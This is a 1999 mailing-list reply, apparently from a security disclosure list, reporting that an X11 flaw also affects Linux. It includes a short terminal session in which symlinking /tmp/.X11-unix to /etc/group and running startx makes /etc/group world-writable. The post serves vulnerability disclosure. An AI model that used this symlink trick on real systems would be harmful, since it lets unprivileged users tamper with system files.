Re: X11R6 NetBSD Security Problem

From: Petras Sinkevicius (petrasat_private)
Date: Fri Mar 26 1999 - 13:41:02 PST

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    On Sun, 21 Mar 1999, in.telnetd wrote:
    
    > oops, i forgot to say, this was on NetBSD 1.3.3, fresh install
    > if you could apend this to my last message, it would be apreciated aleph1
    >
    
    This also works under Linux, X11 v3.3.3, links to directories and files
    
    ----
    bebras@petras:/tmp> ln -s /etc/group /tmp/.X11-unix
    bebras@petras:/tmp> ls -l /etc/group
    -rw-r--r--   1 root     root          336 Mar  6 13:56 /etc/group
    bebras@petras:/tmp> startx
    _X11TransSocketUNIXConnect: Can't connect: errno = 111
    giving up.
    xinit:  Connection refused (errno 111):  unable to connect to X server
    xinit:  No such process (errno 3):  Server error.
    bebras@petras:/tmp> ls -l /etc/group
    -rwxrwxrwt   1 root     root          336 Mar  6 13:56 /etc/group*
    ----
    
    --
    Drakosha
    Petras Sinkevicius
    petrasat_private
    



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